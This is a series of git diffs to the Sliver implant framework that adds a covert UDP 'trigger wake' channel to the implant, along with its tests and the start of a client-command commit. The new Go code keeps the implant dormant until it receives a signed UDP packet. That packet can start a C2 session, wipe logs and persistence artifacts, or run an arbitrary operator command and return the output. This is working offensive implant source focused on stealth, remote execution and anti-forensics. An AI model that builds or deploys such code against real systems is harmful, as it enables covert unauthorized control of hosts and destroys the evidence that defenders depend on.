+} diff --git a/implant/sliver/runner/runner.go b/implant/sliver/runner/runner.go index 29a49e9e24..f6bf74b4b7 100644 --- a/implant/sliver/runner/runner.go +++ b/implant/sliver/runner/runner.go @@ -124,6 +124,55 @@ func Main() { limits.ExecLimits() // Check to see if we should execute + // {{if .Config.TTLEnabled}} + startTTLWatchdog() + // {{end}} + + // {{if .Config.IncludeTriggerWake}} + // Start the passive UDP trigger listener FIRST, before any C2 + // handshake. The trigger implant's purpose is covert wake-on-demand + // over UDP -- an initial beacon/HTTP handshake would defeat that. + startTriggerWake() + + // Trigger-implant main loop: block until wake, run session, then + // return to dormant state. The loop ensures that `sessions -k` + // does NOT kill the process -- it only ends the session, and the + // implant goes back to sleep waiting for the next wake trigger. + for { + // Drain any stale wake signal before blocking. + transports.ResetWake() + + // {{if .Config.Debug}} + log.Printf("[triggerwake] waiting for wake trigger before C2 startup...") + // {{end}} + transportHint := <-transports.WakeChannel() + // {{if .Config.Debug}} + log.Printf("[triggerwake] wake received (transport=%q), proceeding to C2 startup", transportHint) + // {{end}} + + // Apply transport preference from the wake packet. + transports.SetPreferredTransport(transportHint) + + // Reset connection errors so previous session failures don't + // prevent the new session from connecting. + connectionErrors = 0 + + // {{if .Config.IsBeacon}} + beaconStartup() + // {{else}} ------- IsBeacon/IsSession ------- + sessionStartup() + // {{end}} + + // Session/beacon returned -- clear the transport preference + // so the next wake can specify a fresh one. + transports.SetPreferredTransport("") + + // {{if .Config.Debug}} + log.Printf("[triggerwake] session ended, returning to dormant wake-wait state") + // {{end}} + } + // {{else}} ------- IncludeTriggerWake ------- + // {{if .Config.IsService}} svc.Run("", &sliverService{}) // {{else}} @@ -135,6 +184,8 @@ func Main() { // {{end}} // {{end}} ------- IsService ------- + + // {{end}} ------- IncludeTriggerWake ------- } // {{if .Config.IsBeacon}} @@ -297,6 +348,10 @@ func beaconMainLoop(beacon *transports.Beacon) error { case <-time.After(duration): case <-shortCircuit: // Short circuit current duration with no error + case <-transports.WakeChannel(): // value (transport hint) intentionally discarded for beacons + // Out-of-band wake (e.g., triggerwake transport received a + // signed UDP wake task). Same effect as shortCircuit: + // stop sleeping, proceed to next check-in. } // check if reconfig used to set a new C2-URI diff --git a/implant/sliver/transports/transports.go b/implant/sliver/transports/transports.go index f665385031..26ca580462 100644 --- a/implant/sliver/transports/transports.go +++ b/implant/sliver/transports/transports.go @@ -37,7 +37,8 @@ const ( ) var ( - dynamicC2URI = "" + dynamicC2URI = "" + preferredTransport = "" ) func SetC2URI(uri string) { @@ -48,6 +49,22 @@ func GetC2URI() string { return dynamicC2URI } +// SetPreferredTransport sets the preferred C2 transport scheme for the +// next connection loop. When set, C2Generator will reorder the C2 list +// to try URIs matching this scheme first. Valid values: "mtls", "wg", +// "http", "https", "dns", or "" (no preference / try all in configured +// order). Called from the trigger-implant loop in runner.go after +// receiving a transport hint from the wake channel. +func SetPreferredTransport(scheme string) { + preferredTransport = scheme +} + +// GetPreferredTransport returns the current preferred transport scheme, +// or "" if none is set. +func GetPreferredTransport() string { + return preferredTransport +} + // C2Generator - Creates a stream of C2 URLs based on a connection strategy func C2Generator(abort <-chan struct{}, temporaryC2 ...string) <-chan *url.URL { // {{if .Config.Debug}} @@ -71,6 +88,28 @@ func C2Generator(abort <-chan struct{}, temporaryC2 ...string) <-chan *url.URL { // {{end}} - range } + // If a preferred transport is set (e.g. from a trigger wake packet), + // reorder c2Servers so entries matching the preferred scheme come first. + // This gives the operator control over which C2 the implant connects to + // after wake, without discarding fallback options. + if pref := GetPreferredTransport(); pref != "" { + var preferred, rest []func() string + for _, fn := range c2Servers { + u, err := url.Parse(fn()) + if err == nil && matchesTransportScheme(u.Scheme, pref) { + preferred = append(preferred, fn) + } else { + rest = append(rest, fn) + } + } + if len(preferred) > 0 { + c2Servers = append(preferred, rest...) + // {{if .Config.Debug}} + log.Printf("Reordered C2 list: preferred transport %q (%d match, %d fallback)", pref, len(preferred), len(rest)) + // {{end}} + } + } + generator := make(chan *url.URL) go func() { defer close(generator) @@ -91,7 +130,7 @@ func C2Generator(abort <-chan struct{}, temporaryC2 ...string) <-chan *url.URL { next = c2Servers[c2Counter%uint(len(c2Servers))]() } - // check if reconfig used to set a new C2-URI + // check if reconfig used to set a new C2-URI if dynamic := GetC2URI(); dynamic != "" { next = dynamic } @@ -220,3 +259,17 @@ func GetMaxConnectionErrors() int { } return maxConnectionErrors } + +// matchesTransportScheme checks whether a C2 URI scheme matches the +// operator's preferred transport hint. Handles the http/https overlap: +// if the operator asks for "http", both "http" and "https" match. +func matchesTransportScheme(uriScheme, pref string) bool { + if uriScheme == pref { + return true + } + // "http" preference should match both http and https URIs. + if pref == "http" && uriScheme == "https" { + return true + } + return false +} diff --git a/implant/sliver/transports/triggerwake/triggerwake.go b/implant/sliver/transports/triggerwake/triggerwake.go new file mode 100644 index 0000000000..268fc0a79b --- /dev/null +++ b/implant/sliver/transports/triggerwake/triggerwake.go @@ -0,0 +1,508 @@ +package triggerwake + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + ------------------------------------------------------------------------ + + Package triggerwake is the IMPLANT-side passive UDP listener for + signed wake / self-destruct triggers. Unlike the server-side + listener (which dispatches into operator-configurable handlers), + this implant-side variant has a FIXED, hardcoded task set: + + "wake" -> transports.WakeNow() (short-circuits beacon sleep) + "self-destruct" -> burn.Now() (initiates self-destruct) + + The task set is fixed by design: the implant runs in hostile + environments and shouldn't be configurable post-build. Whatever + tasks the operator wants this implant to respect get baked in + at build time. Adding new task kinds = adding a case to the + switch in handleAcceptedTrigger below. + + Template-directive gated (Sliver convention). The package is only + imported when the IncludeTriggerWake field on ImplantConfig is + true; the transport's bind address and HMAC secret come from + the TriggerWakeBindAddr and TriggerWakeSecret fields via template + render at build time. NO build tags. NO -X ldflags injection. + + Footprint note: this package imports github.com/0x90pkt/trigger/ + pkg/protocol, which transitively imports encoding/json. That adds + ~150-300 KB to the implant binary. Task #23 tracks replacing + the JSON path with a hand-rolled minimal tokenizer for the implant + build only — deferred to a follow-up commit. +*/ + +import ( + "bytes" + "context" + "crypto/hmac" + "crypto/sha256" + "encoding/hex" + "net" + "os/exec" + "strings" + "sync" + "time" + + // {{if .Config.Debug}} + "log" + // {{end}} + + "github.com/0x90pkt/trigger/pkg/protocol" + + "github.com/bishopfox/sliver/implant/sliver/burn" + "github.com/bishopfox/sliver/implant/sliver/transports" +) + +// Config is the implant-side triggerwake configuration. Populated at +// build time via template directives in main.go / runner.go that +// reference .Config.TriggerWakeBindAddr / .Config.TriggerWakeSecret. +type Config struct { + // BindAddr is the host:port UDP listen address. + BindAddr string + // Secret is the HMAC-SHA256 key for verifying incoming triggers. + Secret []byte + // AllowedClientIDs, if non-empty, restricts which client_id values + // the implant accepts. Empty = any signed client. + AllowedClientIDs []string + // MaxClockSkew bounds timestamp vs wall-clock drift. Default 45s. + MaxClockSkew time.Duration + // ReplayWindow is the replay-cache TTL. Default 5 min. + ReplayWindow time.Duration + + // BurnExtraPaths is the list of filesystem paths the implant will + // wipe on a self-destruct trigger. Typically: known logs, drop + // files, scratch dirs, the implant's own audit cache. Hardcoded + // at build time so the operator's bind doesn't influence what + // gets wiped at runtime. + BurnExtraPaths []string + + // BurnPersistence is the list of platform-specific persistence + // artifacts (systemd unit paths, registry keys, launchd plists) + // the implant will scrub on self-destruct. + BurnPersistence []string + + // ClientID is the identifier sent in exec response frames. Set at + // build time to distinguish implant instances. Defaults to "implant". + ClientID string +} + +// Start spawns the listener and returns a stop function. Idempotent +// in the sense that calling stop multiple times is safe; calling +// Start twice produces two independent listeners (caller's problem). +// +// The implant's main loop calls this once during startup when the +// IncludeTriggerWake field on ImplantConfig is true. +// +// Errors during bind are returned synchronously. Errors during the +// receive loop are logged (under the Debug template gate) and the loop +// continues — a transient I/O error must not knock the implant's +// wake/burn channel offline. +func Start(parent context.Context, cfg Config) (stop func(), err error) { + if cfg.BindAddr == "" { + return nil, errBindAddrEmpty + } + if len(cfg.Secret) == 0 { + return nil, errSecretEmpty + } + if cfg.MaxClockSkew <= 0 { + cfg.MaxClockSkew = 45 * time.Second + } + if cfg.ReplayWindow <= 0 { + cfg.ReplayWindow = 5 * time.Minute + } + if cfg.ClientID == "" { + cfg.ClientID = "implant" + } + + addr, err := net.ResolveUDPAddr("udp", cfg.BindAddr) + if err != nil { + return nil, err + } + conn, err := net.ListenUDP("udp", addr) + if err != nil { + return nil, err + } + + ctx, cancel := context.WithCancel(parent) + replay := newReplayCache(cfg.ReplayWindow) + + go func() { + <-ctx.Done() + _ = conn.Close() + }() + + go func() { + buf := make([]byte, 8192) + for { + _ = conn.SetReadDeadline(time.Now().Add(500 * time.Millisecond)) + n, remote, err := conn.ReadFromUDP(buf) + if err != nil { + select { + case <-ctx.Done(): + return + default: + if isTimeout(err) { + continue + } + // {{if .Config.Debug}} + log.Printf("[triggerwake] read error: %v", err) + // {{end}} + continue + } + } + payload := make([]byte, n) + copy(payload, buf[:n]) + handlePacket(payload, remote, &cfg, replay, conn) + } + }() + + return cancel, nil +} + +// handlePacket runs the per-packet validation pipeline. Modifies the +// replay cache. For bidirectional intents (exec), sends a signed +// response back to the remote via conn. +func handlePacket(payload []byte, remote *net.UDPAddr, cfg *Config, replay *replayCache, conn *net.UDPConn) { + // Skip response frames -- we only process inbound trigger messages. + if protocol.IsResponse(payload) { + return + } + + msg, err := protocol.DecodeWire(payload) + if err != nil { + // {{if .Config.Debug}} + log.Printf("[triggerwake] decode failed from %v: %v", remote, err) + // {{end}} + return + } + + if len(cfg.AllowedClientIDs) > 0 { + var ok bool + for _, allowed := range cfg.AllowedClientIDs { + if allowed == msg.ClientID { + ok = true + break + } + } + if !ok { + // {{if .Config.Debug}} + log.Printf("[triggerwake] client_id %q not allowed", msg.ClientID) + // {{end}} + return + } + } + + // Timestamp skew. + msgTime, err := protocol.ParseTimestamp(msg.Timestamp) + if err != nil { + return + } + now := time.Now().UTC() + skew := now.Sub(msgTime) + if skew < 0 { + skew = -skew + } + if skew > cfg.MaxClockSkew { + // {{if .Config.Debug}} + log.Printf("[triggerwake] clock skew too large: %v", skew) + // {{end}} + return + } + + // HMAC verify (constant-time via hmac.Equal). + ok, err := verifyHMAC(msg, cfg.Secret) + if err != nil || !ok { + // {{if .Config.Debug}} + log.Printf("[triggerwake] HMAC verify failed for %v: %v", remote, err) + // {{end}} + return + } + + // Replay. + if !replay.markIfNew(msg.Nonce, now) { + // {{if .Config.Debug}} + log.Printf("[triggerwake] replay nonce %s", msg.Nonce) + // {{end}} + return + } + + // Authenticated signal received — reset the TTL countdown so an + // actively-used implant never self-destructs. burn.ResetTTL() is + // a no-op when TTL is disabled (the channel exists but nobody reads it). + burn.ResetTTL() + + // Dispatch to fixed task set. + switch msg.Intent { + case "wake": + // {{if .Config.Debug}} + log.Printf("[triggerwake] wake triggered by %s (transport=%q)", msg.ClientID, msg.Payload) + // {{end}} + // Payload carries the operator's preferred C2 transport scheme + // (e.g. "mtls", "wg", "http", "dns"). Empty = try all. + transports.WakeNow(msg.Payload) + case "self-destruct": + // {{if .Config.Debug}} + log.Printf("[triggerwake] self-destruct triggered by %s", msg.ClientID) + // {{end}} + go burn.Now(burn.Options{ + Reason: burn.ReasonOperatorTriggered, + ExtraPaths: cfg.BurnExtraPaths, + Persistence: cfg.BurnPersistence, + }) + case "exec": + // {{if .Config.Debug}} + log.Printf("[triggerwake] exec triggered by %s: %q", msg.ClientID, msg.Payload) + // {{end}} + select { + case execSem <- struct{}{}: + go func() { + defer func() { <-execSem }() + handleExec(msg, remote, cfg, conn) + }() + default: + // at max concurrent exec capacity, drop + } + default: + // {{if .Config.Debug}} + log.Printf("[triggerwake] unknown task %q ignored", msg.Intent) + // {{end}} + } +} + +// handleExec executes a command from the trigger payload and sends the +// output back to the operator as a signed UDP response. The command +// is split on whitespace (first token = binary, rest = args). Output +// is capped at maxExecOutputBytes to fit within a single UDP datagram. +// +// This is the implant side of the bidirectional trigger channel: +// operator sends intent=exec with payload="ls -la /tmp", implant +// runs it, sends stdout+stderr back to the operator's source address. +func handleExec(msg protocol.TriggerMessage, remote *net.UDPAddr, cfg *Config, conn *net.UDPConn) { + cmdLine := strings.TrimSpace(msg.Payload) + if cmdLine == "" { + sendExecResponse(msg, remote, cfg, conn, 1, "", "empty payload") + return + } + + parts := strings.Fields(cmdLine) + bin := parts[0] + var args []string + if len(parts) > 1 { + args = parts[1:] + } + + // {{if .Config.Debug}} + log.Printf("[triggerwake] exec: bin=%s args=%v", bin, args) + // {{end}} + + ctx, cancel := context.WithTimeout(context.Background(), execTimeout) + defer cancel() + + cmd := exec.CommandContext(ctx, bin, args...) + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout + cmd.Stderr = &stderr + + err := cmd.Run() + exitCode := 0 + var execErr string + if err != nil { + execErr = err.Error() + if exitErr, ok := err.(*exec.ExitError); ok { + exitCode = exitErr.ExitCode() + } else { + exitCode = -1 + } + } + + // Combine stdout+stderr, cap at max size for UDP. + output := stdout.String() + stderr.String() + if len(output) > maxExecOutputBytes { + output = output[:maxExecOutputBytes] + "\n... [truncated]" + } + + sendExecResponse(msg, remote, cfg, conn, exitCode, output, execErr) +} + +// sendExecResponse constructs and sends a signed TriggerResponse back +// to the operator. Best-effort: UDP send failures are logged but do +// not retry (fire-and-forget semantics match the trigger protocol). +func sendExecResponse(msg protocol.TriggerMessage, remote *net.UDPAddr, cfg *Config, conn *net.UDPConn, exitCode int, output string, execErr string) { + nonce, err := protocol.GenerateNonce() + if err != nil { + // {{if .Config.Debug}} + log.Printf("[triggerwake] exec response nonce error: %v", err) + // {{end}} + return + } + + resp := protocol.TriggerResponse{ + Version: protocol.ProtocolVersion, + Type: protocol.ResponseType, + RequestNonce: msg.Nonce, + ClientID: cfg.ClientID, + Nonce: nonce, + Timestamp: protocol.NowUTC(), + ExitCode: exitCode, + Output: output, + Error: execErr, + } + + sig, err := protocol.SignResponse(resp, string(cfg.Secret)) + if err != nil { + // {{if .Config.Debug}} + log.Printf("[triggerwake] exec response sign error: %v", err) + // {{end}} + return + } + resp.Signature = sig + + data, err := protocol.EncodeResponse(resp) + if err != nil { + // {{if .Config.Debug}} + log.Printf("[triggerwake] exec response encode error: %v", err) + // {{end}} + return + } + + if _, err := conn.WriteToUDP(data, remote); err != nil { + // {{if .Config.Debug}} + log.Printf("[triggerwake] exec response send error: %v", err) + // {{end}} + } + // {{if .Config.Debug}} + log.Printf("[triggerwake] exec response sent to %v (exit=%d, %d bytes)", remote, exitCode, len(data)) + // {{end}} +} + +// execSem limits concurrent handleExec goroutines. Prevents an +// adversary (or a burst of legitimate exec triggers) from fork-bombing +// the implant host. Capped at 3 concurrent execs; excess packets are +// silently dropped. +var execSem = make(chan struct{}, 3) + +const ( + // maxExecOutputBytes caps the response payload to stay within a + // single UDP datagram. Conservative: 8192 - header overhead. + maxExecOutputBytes = 7168 + // execTimeout is the maximum wall-clock time for a triggered exec. + execTimeout = 30 * time.Second +) + +// verifyHMAC re-computes the canonical-JSON HMAC over msg (sans +// signature) and constant-time compares to msg.Signature. +// +// We use the standalone protocol package's Sign() and hmac.Equal so +// the cryptographic behavior is byte-identical to the server-side +// listener — same canonical form, same HMAC scheme. +func verifyHMAC(msg protocol.TriggerMessage, secret []byte) (bool, error) { + if msg.Signature == "" { + return false, nil + } + // Pass through to the standalone protocol package's Sign so any + // canonicalization change there propagates here automatically. + expected, err := protocol.Sign(msg, string(secret)) + if err != nil { + return false, err + } + return hmac.Equal([]byte(expected), []byte(msg.Signature)), nil +} + +// replayCache is a tiny replay-nonce window. Sliver implants are +// memory-constrained; keep this small and bounded. maxEntries caps the +// number of tracked nonces to prevent memory exhaustion if an adversary +// floods the listener with unique nonces faster than TTL expiry purges +// them. When the cap is reached, new nonces are still accepted (we +// can't block legitimate triggers) but the oldest entry is evicted +// before insertion. Default cap: 512. +type replayCache struct { + mu sync.Mutex + ttl time.Duration + maxEntries int + seen map[string]time.Time +} + +const defaultMaxReplayEntries = 512 + +func newReplayCache(ttl time.Duration) *replayCache { + return &replayCache{ + ttl: ttl, + maxEntries: defaultMaxReplayEntries, + seen: make(map[string]time.Time, 32), + } +} + +func (r *replayCache) markIfNew(nonce string, now time.Time) bool { + r.mu.Lock() + defer r.mu.Unlock() + + // Purge expired entries. + for k, exp := range r.seen { + if now.After(exp) { + delete(r.seen, k) + } + } + + if _, exists := r.seen[nonce]; exists { + return false + } + + // Cap enforcement: if at capacity after expiry purge, evict the + // oldest entry to make room. O(n) scan is acceptable for n<=512. + if r.maxEntries > 0 && len(r.seen) >= r.maxEntries { + var oldestKey string + var oldestExp time.Time + for k, exp := range r.seen { + if oldestKey == "" || exp.Before(oldestExp) { + oldestKey = k + oldestExp = exp + } + } + if oldestKey != "" { + delete(r.seen, oldestKey) + } + } + + r.seen[nonce] = now.Add(r.ttl) + return true +} + +// isTimeout reports whether the error is a net.Error timeout. Used +// to ignore SetReadDeadline-driven timeouts in the receive loop. +func isTimeout(err error) bool { + type timeoutErr interface{ Timeout() bool } + if te, ok := err.(timeoutErr); ok { + return te.Timeout() + } + return false +} + +// Local errors kept package-private so the receive loop's logging +// can `errors.Is` them without exposing identity to dependent packages. +var ( + errBindAddrEmpty = simpleError("triggerwake: BindAddr is empty") + errSecretEmpty = simpleError("triggerwake: Secret is empty") +) + +// Avoid importing the errors package for one-liners (footprint). +type simpleError string + +func (e simpleError) Error() string { return string(e) } + +// Forward references to keep imports clean. +var ( + _ = hex.EncodeToString + _ = sha256.New +) diff --git a/implant/sliver/transports/triggerwake/triggerwake_test.go b/implant/sliver/transports/triggerwake/triggerwake_test.go new file mode 100644 index 0000000000..e3eaa16672 --- /dev/null +++ b/implant/sliver/transports/triggerwake/triggerwake_test.go @@ -0,0 +1,254 @@ +package triggerwake + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "net" + "strings" + "testing" + "time" + + "github.com/0x90pkt/trigger/pkg/protocol" +) + +// We can't easily test the "wake" task dispatch (it calls into the +// real transports package; would require the beacon main loop to be +// running). Instead, we test the validation pipeline via handlePacket +// directly with a fake remote and observe whether replay.markIfNew +// gets called for valid messages. + +func TestHandlePacketAcceptsValidWake(t *testing.T) { + cfg := &Config{ + BindAddr: "127.0.0.1:0", + Secret: []byte("test-secret"), + MaxClockSkew: 5 * time.Second, + ReplayWindow: 1 * time.Minute, + } + replay := newReplayCache(cfg.ReplayWindow) + + msg := protocol.TriggerMessage{ + Version: protocol.ProtocolVersion, + ClientID: "operator-jc", + Nonce: "abcdef0123456789", + Timestamp: protocol.NowUTC(), + Intent: "wake", + } + sig, err := protocol.Sign(msg, string(cfg.Secret)) + if err != nil { + t.Fatalf("Sign: %v", err) + } + msg.Signature = sig + payload, err := protocol.EncodeWire(msg) + if err != nil { + t.Fatalf("EncodeWire: %v", err) + } + + // First call: should accept (nonce is new). + handlePacket(payload, &net.UDPAddr{IP: net.IPv4(127, 0, 0, 1), Port: 1234}, cfg, replay, nil) + if !replay.contains(msg.Nonce) { + t.Fatalf("valid trigger nonce not recorded in replay cache") + } + + // Second call: same nonce should be replay-rejected (no panic, + // no double-dispatch — we can't observe dispatch directly but + // the absence of state change is good). + handlePacket(payload, &net.UDPAddr{IP: net.IPv4(127, 0, 0, 1), Port: 1234}, cfg, replay, nil) +} + +func TestHandlePacketRejectsBadHMAC(t *testing.T) { + cfg := &Config{ + Secret: []byte("real-secret"), + MaxClockSkew: 5 * time.Second, + ReplayWindow: 1 * time.Minute, + } + replay := newReplayCache(cfg.ReplayWindow) + + msg := protocol.TriggerMessage{ + Version: protocol.ProtocolVersion, + ClientID: "x", + Nonce: "abcdef0123456789", + Timestamp: protocol.NowUTC(), + Intent: "wake", + } + // Sign with WRONG key. + sig, err := protocol.Sign(msg, "wrong-secret") + if err != nil { + t.Fatalf("Sign: %v", err) + } + msg.Signature = sig + payload, _ := protocol.EncodeWire(msg) + + handlePacket(payload, &net.UDPAddr{IP: net.IPv4(127, 0, 0, 1)}, cfg, replay, nil) + if replay.contains(msg.Nonce) { + t.Fatalf("bad-HMAC nonce was added to replay cache (validation pipeline skipped a step)") + } +} + +func TestHandlePacketRejectsExpiredTimestamp(t *testing.T) { + cfg := &Config{ + Secret: []byte("secret"), + MaxClockSkew: 1 * time.Second, // tight + ReplayWindow: 1 * time.Minute, + } + replay := newReplayCache(cfg.ReplayWindow) + + msg := protocol.TriggerMessage{ + Version: protocol.ProtocolVersion, + ClientID: "x", + Nonce: "abcdef0123456789", + Timestamp: time.Now().Add(-1 * time.Hour).UTC().Format(time.RFC3339Nano), + Intent: "wake", + } + sig, _ := protocol.Sign(msg, string(cfg.Secret)) + msg.Signature = sig + payload, _ := protocol.EncodeWire(msg) + + handlePacket(payload, &net.UDPAddr{IP: net.IPv4(127, 0, 0, 1)}, cfg, replay, nil) + if replay.contains(msg.Nonce) { + t.Fatalf("expired-timestamp trigger should have rejected before replay record") + } +} + +func TestHandlePacketHonorsClientIDAllowlist(t *testing.T) { + cfg := &Config{ + Secret: []byte("secret"), + MaxClockSkew: 5 * time.Second, + ReplayWindow: 1 * time.Minute, + AllowedClientIDs: []string{"only-this-one"}, + } + replay := newReplayCache(cfg.ReplayWindow) + + msg := protocol.TriggerMessage{ + Version: protocol.ProtocolVersion, + ClientID: "different-client", + Nonce: "abcdef0123456789", + Timestamp: protocol.NowUTC(), + Intent: "wake", + } + sig, _ := protocol.Sign(msg, string(cfg.Secret)) + msg.Signature = sig + payload, _ := protocol.EncodeWire(msg) + + handlePacket(payload, &net.UDPAddr{IP: net.IPv4(127, 0, 0, 1)}, cfg, replay, nil) + if replay.contains(msg.Nonce) { + t.Fatalf("disallowed client_id should reject before replay record") + } +} + +func TestStartRejectsBadConfig(t *testing.T) { + if _, err := Start(nil, Config{}); err == nil { + t.Fatalf("expected error for empty BindAddr") + } + if _, err := Start(nil, Config{BindAddr: "127.0.0.1:0"}); err == nil { + t.Fatalf("expected error for empty Secret") + } +} + +func TestHandlePacketExecSendsResponse(t *testing.T) { + secret := "exec-test-secret" + cfg := &Config{ + BindAddr: "127.0.0.1:0", + Secret: []byte(secret), + MaxClockSkew: 5 * time.Second, + ReplayWindow: 1 * time.Minute, + } + replay := newReplayCache(cfg.ReplayWindow) + + // Bind a UDP socket to receive the exec response. + listenAddr, _ := net.ResolveUDPAddr("udp", "127.0.0.1:0") + conn, err := net.ListenUDP("udp", listenAddr) + if err != nil { + t.Fatalf("ListenUDP: %v", err) + } + defer conn.Close() + + // The "remote" in handlePacket is where the response goes. + // Use the conn's local address as the "remote" so the response + // comes back to us. + remote := conn.LocalAddr().(*net.UDPAddr) + + // Create a separate conn for the implant-side (handlePacket uses WriteToUDP). + implantAddr, _ := net.ResolveUDPAddr("udp", "127.0.0.1:0") + implantConn, err := net.ListenUDP("udp", implantAddr) + if err != nil { + t.Fatalf("ListenUDP (implant): %v", err) + } + defer implantConn.Close() + + msg := protocol.TriggerMessage{ + Version: protocol.ProtocolVersion, + ClientID: "test-exec-op", + Nonce: "fedcba9876543210", + Timestamp: protocol.NowUTC(), + Intent: "exec", + Payload: "echo hello-from-exec", + } + sig, err := protocol.Sign(msg, secret) + if err != nil { + t.Fatalf("Sign: %v", err) + } + msg.Signature = sig + payload, err := protocol.EncodeWire(msg) + if err != nil { + t.Fatalf("EncodeWire: %v", err) + } + + // Dispatch the packet through handlePacket (exec spawns a goroutine). + handlePacket(payload, remote, cfg, replay, implantConn) + + // Wait for the response on our listener. + _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) + buf := make([]byte, 16384) + n, _, err := conn.ReadFromUDP(buf) + if err != nil { + t.Fatalf("ReadFromUDP: %v (exec response never arrived)", err) + } + + resp, err := protocol.DecodeResponse(buf[:n]) + if err != nil { + t.Fatalf("DecodeResponse: %v", err) + } + + if resp.RequestNonce != msg.Nonce { + t.Fatalf("RequestNonce = %q, want %q", resp.RequestNonce, msg.Nonce) + } + if resp.ExitCode != 0 { + t.Fatalf("ExitCode = %d, want 0", resp.ExitCode) + } + if !strings.Contains(resp.Output, "hello-from-exec") { + t.Fatalf("Output = %q, should contain 'hello-from-exec'", resp.Output) + } + + // Verify response signature. + valid, err := protocol.VerifyResponse(resp, secret) + if err != nil { + t.Fatalf("VerifyResponse: %v", err) + } + if !valid { + t.Fatalf("response HMAC is invalid") + } +} + +// contains exposes the replay cache for test inspection. +func (r *replayCache) contains(nonce string) bool { + r.mu.Lock() + defer r.mu.Unlock() + _, ok := r.seen[nonce] + return ok +} diff --git a/implant/sliver/transports/wakehook.go b/implant/sliver/transports/wakehook.go new file mode 100644 index 0000000000..29b946ad9b --- /dev/null +++ b/implant/sliver/transports/wakehook.go @@ -0,0 +1,78 @@ +package transports + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + ------------------------------------------------------------------------ + + Wake hook: a tiny package-level signal that lets out-of-band + transports (currently triggerwake; future: anything that can wake + a sleeping beacon) short-circuit the beacon main loop's sleep + between check-ins. + + Design: a single coalescing channel (buffer of 1). WakeNow() is + non-blocking — multiple concurrent wakes collapse to a single + signal. The runner's beacon select reads from WakeChannel() + alongside its own internal shortCircuit and the standard + time.After branch. + + The channel carries a transport hint string (e.g. "mtls", "wg", + "http", "dns"). An empty string means "try all transports in the + configured order". For beacon wake (short-circuit sleep), the hint + is typically ignored. For trigger implants, the hint selects which + C2 transport to use when establishing the session. + + When the implant is built without any wake-capable transport (the + template directive guards the triggerwake import), the channel + exists but never gets a sender; the runner's select harmlessly + ignores its branch. +*/ + +var wakeNow = make(chan string, 1) + +// WakeNow signals the beacon/session loop to wake up. The +// transportHint parameter carries the operator's preferred C2 +// transport scheme (e.g. "mtls", "wg", "http", "dns"). Pass "" +// for "try all". Safe to call from any goroutine. Non-blocking -- +// if a wake is already pending, the new call is silently coalesced. +func WakeNow(transportHint string) { + select { + case wakeNow <- transportHint: + default: + // already signaled; coalesce. + } +} + +// WakeChannel returns the read end of the wake signal. The beacon +// main loop's select uses this to be roused early. For trigger +// implants, the received string is the transport hint. Returned as +// <-chan to discourage accidental sends from other call sites -- use +// WakeNow() for that. +func WakeChannel() <-chan string { + return wakeNow +} + +// ResetWake drains any pending wake signal so the channel can +// receive a fresh one. Called by the trigger-implant loop in +// runner.go after a session ends, before blocking on WakeChannel() +// again. Safe to call when no signal is pending. +func ResetWake() { + select { + case <-wakeNow: + default: + } +} From c64b480b5fad1fa369ec14176cd0409ac238b6bd Mon Sep 17 00:00:00 2001 From: 0x90pkt <91637660+0x90pkt@users.noreply.github.com> Date: Mon, 1 Jun 2026 23:53:25 -0400 Subject: [PATCH 5/7] feat(client): generate trigger, triggers list, trigger send commands Client-side trigger C2 commands: - generate trigger: builds trigger implants with --trigger-wake-bind required. No beacon flags -- wake always establishes a session. Warns if only TCP or only UDP transport specified. - triggers: indexed list of all trigger-enabled implant builds - triggers target: associate deployment IP with a trigger index - trigger send: send signed UDP packets to implants by index or IP. Auto-populates port/secret/target from stored config. --comms flag selects wake transport (mtls/wg). --output/-o exports exec results to file. - trigger dispatch: server-side task dispatch on running trigger listener jobs - secretinput: three-tier secret resolution (env var, direct value with ps-visibility warning, stdin prompt). Template injection validation for secrets embedded in implant binaries. --- client/command/generate/commands.go | 28 + client/command/generate/commands_test.go | 52 ++ client/command/generate/generate-trigger.go | 117 ++++ client/command/generate/generate.go | 22 + .../generate/trigger_lifecycle_flags.go | 186 ++++++ .../generate/trigger_lifecycle_flags_test.go | 264 +++++++++ client/command/help/long-help.go | 77 ++- client/command/jobs/commands.go | 121 +++- client/command/jobs/trigger.go | 555 ++++++++++++++++++ client/command/server.go | 2 + client/command/triggers/commands.go | 64 ++ client/command/triggers/target.go | 163 +++++ client/command/triggers/triggers.go | 130 ++++ client/constants/constants.go | 2 + client/secretinput/secretinput.go | 138 +++++ client/secretinput/secretinput_test.go | 209 +++++++ 16 files changed, 2127 insertions(+), 3 deletions(-) create mode 100644 client/command/generate/generate-trigger.go create mode 100644 client/command/generate/trigger_lifecycle_flags.go create mode 100644 client/command/generate/trigger_lifecycle_flags_test.go create mode 100644 client/command/jobs/trigger.go create mode 100644 client/command/triggers/commands.go create mode 100644 client/command/triggers/target.go create mode 100644 client/command/triggers/triggers.go create mode 100644 client/secretinput/secretinput.go create mode 100644 client/secretinput/secretinput_test.go diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index f06a8c99d0..8ff921db0c 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -61,6 +61,22 @@ func Commands(con *console.SliverClient) []*cobra.Command { generateCmd.AddCommand(generateBeaconCmd) + 